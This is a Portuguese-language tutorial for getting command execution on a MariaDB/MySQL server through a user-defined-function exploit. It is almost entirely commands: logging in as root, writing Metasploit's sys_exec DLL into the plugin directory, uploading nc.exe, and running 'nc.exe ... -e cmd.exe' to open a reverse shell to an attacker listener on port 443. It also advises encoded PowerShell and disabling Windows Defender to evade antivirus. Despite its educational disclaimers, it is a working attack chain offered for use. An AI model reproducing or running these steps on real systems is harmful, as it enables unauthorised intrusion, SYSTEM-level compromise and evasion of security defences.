
Execução de código autenticada em banco de dados
Este guia fornece instruções detalhadas para explorar uma vulnerabilidade de Função Definida pelo Utilizador (UDF) no MariaDB num servidor remoto. Estes passos incluem descarregar e executar código malicioso num sistema de base de dados vulnerável.
Aviso: Este documento é apenas para fins educacionais. A utilização não autorizada destas técnicas é ilegal e antiética.
Utilize o seguinte comando para se ligar ao servidor MySQL:
mysql -h 192.168.214.129 -u root -pPassw0rd!
Para determinar a versão do MySQL em execução, execute:
select @@version;
Para ver o utilizador atualmente autenticado:
select user();
Obter todos os detalhes relacionados com o utilizador root:
select * from mysql.user where user='root';
Determinar que privilégios o utilizador atual possui:
show grants;
Determinar se a arquitetura do sistema é vulnerável a UDF:
select @@version_compile_os, @@version_compile_machine;
Identificar o diretório de plugins onde os ficheiros UDF podem ser carregados:
select @@plugin_dir;
Copiar a DLL de 32 bits do diretório de exploits do Metasploit:
ls /usr/share/metasploit-framework/data/exploits/mysql/
cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.dll udf.dll
Codificar o ficheiro udf.dll em formato base64:
cat udf.dll | base64 | tr -d '\n' > udf.base64
Copiar o valor base64 de udf.base64 e transferi-lo para o servidor MySQL:
Abrir udf.base64 num editor de texto:
leafpad udf.base64
No MariaDB, execute:
select from_base64("base64 value") into dumpfile 'C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\udf.dll';
Alternativamente, utilize o seguinte caminho se necessário:
C:\Program Files\MariaDB 11.1\lib\plugin\
Execute o seguinte comando no MariaDB para criar uma nova função:
create function sys_exec returns int soname 'udf.dll';
Nota: Também pode usar
sys_eval,sys_get,do_systemousys_bineval. Certifique-se de usarinte nãointo.
Verificar se a função UDF foi instalada com sucesso:
select * from mysql.func;
Copiar o executável do Netcat para o seu diretório local e codificá-lo em base64:
cp /usr/share/windows-binaries/nc.exe .
cat nc.exe | base64 | tr -d '\n' > nc.base64
Abrir nc.base64 num editor de texto:
leafpad nc.base64
Depois, no MySQL:
select from_base64("base64valueofNc.exe") into dumpfile 'C:\\Program Files\\MariaDB 10.5\\lib\\plugin\\nc.exe';
Alternativamente, pode fazer o upload diretamente usando:
mysql -u root -p -h 192.168.214.129 < nc.base64
Ligar o listener do Netcat na porta 443:
sudo nc -nlvp 443
Executar o Netcat no servidor remoto para uma reverse shell:
select sys_exec('C:\\Program Files\\MariaDB 10.4\\lib\\plugin\\nc.exe 192.168.214.128 443 -e cmd.exe');
Nota: Este passo pode ser bloqueado pelo Windows Defender ou outro software antivírus. Considere usar comandos PowerShell codificados (
powershellbase64) e certifique-se de que o Defender está desligado.
Executar um comando PowerShell usando codificação base64:
select sys_exec('powershellbase64');
NOTA: Pode obter privilégios de NT AUTHORITY SYSTEM em muitos casos.
Drop Function: Para remover quaisquer funções UDF criadas:
drop function sys_get;
Verificar Local Infile: Verificar se a escrita local está ativada:
show variables like 'local_infile';
Encontrar Utilizadores com Privilégio Insert: Identificar quais utilizadores têm o privilégio insert:
use mysql;
select user from user where insert_priv='Y' and Host='%';
Aviso Legal: Este documento destina-se apenas a fins educacionais e investigação de segurança. A utilização indevida desta informação pode resultar em acusações criminais e penalidades legais severas. Obtenha sempre permissão das autoridades relevantes antes de testar quaisquer vulnerabilidades numa rede ou sistema.